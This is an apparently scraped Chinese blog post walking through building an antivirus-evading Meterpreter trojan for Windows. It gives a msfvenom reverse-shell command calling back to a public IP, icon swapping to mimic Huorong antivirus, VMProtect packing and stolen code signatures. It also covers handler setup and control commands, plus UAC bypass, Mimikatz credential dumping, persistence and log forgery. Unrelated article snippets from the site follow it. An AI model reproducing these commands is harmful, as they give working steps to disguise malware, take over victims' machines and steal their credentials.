news 2026/4/15 16:37:54

一次msf免杀渗透入门实践

作者头像

张小明

前端开发工程师

1.2k 24
文章封面图
一次msf免杀渗透入门实践

攻击对象:windows主机

一.shell制作

1.准备工具

kali-linux Metasploit模块(msfvenom和msfconsole) VMP加壳软件 https://gitcode.com/Universal-Tool/42a67/blob/main/VMProtect%20Ultimate%20v3.3.1.zip sigthief签名软件 https://github.com/secretsquirrel/SigThief ResHacker资源替换软件https://github.com/TideSec/BypassAntiVirus/blob/master/tools/mimikatz/ResHacker.zip

2.创建shell(编码加密+捆绑软件)

msfvenom -p windows/meterpreter/reverse_tcp LHOST=47.239.21.238 LPORT=1235 -e x86/shikata_ga_nai -x test.exe -i 12 -f exe -O huorong.exe

-p:指定payload类型为Windows Meterpreter反向TCP连接

LHOST:控制端IP地址

LPORT:控制端监听端口

-e x86/shikata_ga_nai:指定编码器为shitaka_ga_nai(一种多态编码器,适合x86架构)

-x test.exe:指定要捆绑的原始可执行文件

-i 12:指定12次编码(多次编码可以增强免杀效果,但会增加文件大小)

-f exe:指定输出格式为windows可执行文件

-O:输出shell到指定文件

3.替换资源

用RH替换火绒的图标

4.vmp加壳

打开vmp,使用vmp进行加壳

5.数字签名

将sigthief.py文件放在当前目录下

python sigthief.py -i HipsMain.exe -t huorong.exe -o hr.exe
-i:要提取签名的文件 -t:应用签名的文件 -o:输出的目标文件

6.查杀结果(23/72)

说实话,这个免杀还是太简陋了点,应该再加点pe修改或多次加密,最好是自研脚本(1/62的查杀率:D)

二.远程控制

tip(核心难点:通过社工把这个shell安然无恙放到目标主机上,当然要是对方电脑上啥安全措施都没就当我没说)

1.打开msfconsole

msfconsole

2.选择监听器

use exploit/multi/handler

exploit/multi/handler:一个多功能监听器(建立监听岗位)

3.配置载荷

set payload windows/meterpreter/reverse_tcp

windows/meterpreter/reverse_tcp:建立一个反向TCP连接(由机器内部向外网发起连接,更容易成功)

4.配置攻击机设置

set LHOST 47.239.21.238 set LPORT 1235

这里的LHOST与LPORT必须跟木马的一致

5.显示配置

show options

6.开始监听

exploit(或run)

当木马在目标机上运行时,攻击机就能与目标机进行连接从而实现控制目的

三.控制指令

run vnc -i#监视屏幕 upload ./oriFile ./desName#上传文件到靶机 download ./desFile ./local#下载靶机文件 shell#进入靶机终端 sysinfo#显示靶机基本信息 screenshot#屏幕截图

四. 反病毒与防御绕过

在实际渗透测试中,防病毒软件、入侵检测系统(IDS)、入侵防御系统(IPS)等防御措施通常会成为绕过攻击的一个大难题。为了提高渗透测试成功的几率,理解如何绕过这些防御措施是非常重要的。

1.反病毒绕过

反病毒软件通常通过签名检测、行为分析和沙箱技术来发现和拦截恶意软件。针对这些防御技术,可以采用以下方法绕过:

  • 加密与编码:通过多次编码和加壳来改变恶意代码的特征,使其难以被反病毒软件识别。例如,使用msfvenom的-e参数指定编码器,如x86/shikata_ga_nai,以及多次编码(-i参数)。

  • 使用多种加壳工具:除了VMP(VMProtect)之外,还可以使用其他加壳工具,如Themida、Enigma Protector等,来进一步增强木马的隐蔽性。

  • 注入合法进程:通过将恶意载荷注入到合法进程(如explorer.exe、svchost.exe)中,从而绕过反病毒软件的监控。

  • 利用签名伪装:使用SigThief等工具获取有效的数字签名并伪装恶意文件,以提高木马的可信度。

2.沙箱检测绕过

现代的反病毒软件往往会将未知程序发送到虚拟沙箱中执行,以检测其是否为恶意软件。为此,可以采取以下策略:

  • 延迟执行:通过在恶意代码中加入延时代码,推迟代码执行的时间,从而避免在沙箱中被立即检测到。

  • 反沙箱检测:通过检查系统环境(如检测是否处于虚拟机中),在程序启动时决定是否执行恶意载荷。

3.反入侵检测系统(IDS/IPS)绕过

入侵检测和防御系统的目的是监控和拦截网络中的恶意行为。为了绕过这些系统,可以采取以下技术:

  • 流量加密:通过加密通信流量,防止IDS/IPS检测到恶意流量的特征。

  • 变换攻击模式:通过变换攻击的方式(如对shellcode进行变形或使用不同的攻击方法),使得攻击流量不易被IDS/IPS的规则库检测到。

五. 后渗透技巧

一旦成功获取了目标主机的控制权,后渗透阶段的目标通常是扩大权限、横向移动和收集更多的信息。以下是一些常见的后渗透技巧:

1.权限提升
  • 利用弱密码:通过暴力破解或字典攻击,获取目标主机上的管理员权限。

  • 利用漏洞:针对操作系统或应用程序中的已知漏洞(如MS17-010 EternalBlue)进行漏洞利用,提升权限。

2.横向移动
  • Pass-the-Hash:通过捕获目标主机上的哈希值,将其用作身份验证,访问同一网络中的其他主机。

  • RDP攻击:利用已获取的凭证,通过远程桌面协议(RDP)访问其他目标主机。

3.信息收集
  • 系统信息收集:使用sysinfoipconfignetstat等命令收集目标主机的基本信息。

  • 凭证抓取:使用mimikatz等工具抓取目标主机上的明文密码、存储在Windows凭据管理器中的密码、LSA凭证等。

4.保持持久性
  • 植入反向Shell:通过修改注册表或启动项,确保恶意代码在每次重启后自动运行。

  • 建立反向连接:利用如netcat等工具,配置目标主机与攻击机之间的反向连接,保持持久的访问权限。

六. 防御与检测

了解防御技术对于渗透测试者来说至关重要。只有了解了防御方的做法,才能设计有效的攻击策略。

1.反病毒与IDS/IPS监控

反病毒软件通常会监控文件系统中的可疑活动,IDS/IPS会监控网络流量。渗透测试者需要了解如何绕过这些监控,或者模拟防御方可能采取的反制措施。

2.日志审计与分析

许多组织会启用日志记录功能,特别是针对管理员权限的操作。日志审计可以帮助检测异常行为。因此,攻击者需要注意隐藏操作痕迹,甚至伪造日志条目。

3.基于行为的检测

许多高级反病毒软件和IDS/IPS系统都采用了行为分析,检测程序是否表现出恶意行为。因此,攻击者需要避免使用常见的攻击模式,并尽量使攻击行为更隐蔽

拓展内容:

1.msfconsole相关命令
常用监听器配置 set ExitOnSession false#接收多个会话 exploit -j#让监听器在后台运行 set AutoRunScript post/windows/manage/migrate自动迁移进程(避免程序关闭导致会话丢失) 常用payload set payload windows/meterpreter/reverse_tcp#反向TCP set payload windows/meterpreter/reverse_https#反向HTTPS set payload windows/meterpreter/bind_tcp#绑定TCP set payload linux/x64/meterpreter/reverse_tcp#linux系统反向TCP set payload android/meterpreter/reverse_tcp#安卓应用反向TCP
2.在msf中使用kiwi(Mimikatz)模块

提权(如果当前权限非Administrator或System时):

方法一:

getuid#查看当前系统权限 getsystem#多数情况下不能获取,可以试一下

方法二:

background#把会话放到后台 use exploit/windows/local/bypassuac#尝试绕过UAC set session [UID]#设置会话 exploit

方法三:

use exploit/windows/local/ask#利用UAC提权 set session [UID] set FILENAME System32.exe#设置一个迷惑的名字 exploit ##靶机只要允许程序运行即可提权

查看当前权限:

run post/windows/gather/win_privs#如果在本地管理员组就能用kiwi

kiwi相关用法:

load kiwi#加载kiwi模块 creds_all#列举所有凭据 creds_msv#列举所有msv凭据 creds_ssp#列举所有ssp凭据 kiwi_cmd:执行mimikatz的命令,后面接mimikatz命令 kiwi_cmd privilege::debug#尝试获取debug权限 kiwi_cmd sekurlsa::logonpasswords#使用kiwi抓取全部明文密码

参考资料:https://blog.csdn.net/weixin_46236101/article/details/114745232?spm=1001.2014.3001.5506

https://blog.csdn.net/weixin_74545038/article/details/134315726?spm=1001.2014.3001.5502

版权声明: 本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若内容造成侵权/违法违规/事实不符,请联系邮箱:809451989@qq.com进行投诉反馈,一经查实,立即删除!
网站建设 2026/4/16 12:36:07

C语言之判断字符串是否为回文

题目描述 输入一个字符串,输出该字符串是否回文。回文是指顺读和倒读都一样的字符串。 输入格式 输入一行字符串,长度小于 100。 输出格式 如果字符串是回文,输出 yes;否则,输出 no。 输入abcdedcba 输出 yes /* by 0…

作者头像 李华
网站建设 2026/4/16 10:58:09

具身智能:正打破农业机器人的“自动化孤岛”

当采摘机器人能理解“小心别碰掉花”的指令时,一场人机协作的革命已在田间地头悄然开始。 传统农业机器人正陷入一种困境:它们能在预设的温室环境中精准运行,一旦面对真实农田里复杂的藤蔓缠绕、光线变化和果实遮挡,往往瞬间“失灵…

作者头像 李华
网站建设 2026/4/13 0:42:15

StateFlow 和 MutableStateFlow 有什么区别?

StateFlow 和 MutableStateFlow 是 Kotlin 协程中状态管理的核心组合,二者本质是只读与可写的分工——MutableStateFlow 负责状态的修改,StateFlow 负责状态的只读暴露,遵循 “读写分离” 的设计原则。以下是二者的核心区别和关联: 一、核心定义与分工 特性 StateFlow Mut…

作者头像 李华
网站建设 2026/4/16 10:58:28

基于VirtualBox使用ISO创建Linux镜像

安装VirtualBox VirtualBox是一款开源免费跨平台的虚拟机软件,本节指导用户完成VirtualBox的安装。 安装前准备 安装VirtualBox的主机需满足以下条件。 推荐使用64位的Windows操作系统的主机安装VirtualBox。建议主机内存不低于4 GB,且使用双核处理器…

作者头像 李华
网站建设 2026/4/16 14:02:57

O(log N) 对数计算

1、通过 Google 数学计算器 数学求解器 - Google 搜索 N 100 2、通过 Windows 10/11 计算器、以10为底换底计算方法。 2.1、计算系数 100 log 2 Windows 计算器是 log10(N)、而log(N) log2(N) 2.2、计算百分比 2 / 100 0.02 2.3、计算2系数 2 log(10) 0.30102999566…

作者头像 李华
网站建设 2026/4/16 12:28:27

linux系统新增启动项,支持从数据盘启动

linux系统(PE系统)挂载数据盘并支持从数据盘启动的情况大多使用在云上机器排查问题等场景。 本文简绍如何在PE系统中新增启动项,并指向数据盘。 主要采用grub2中链式启动能力 什么是链式启动? 主要用于实现跨操作系统的链式加…

作者头像 李华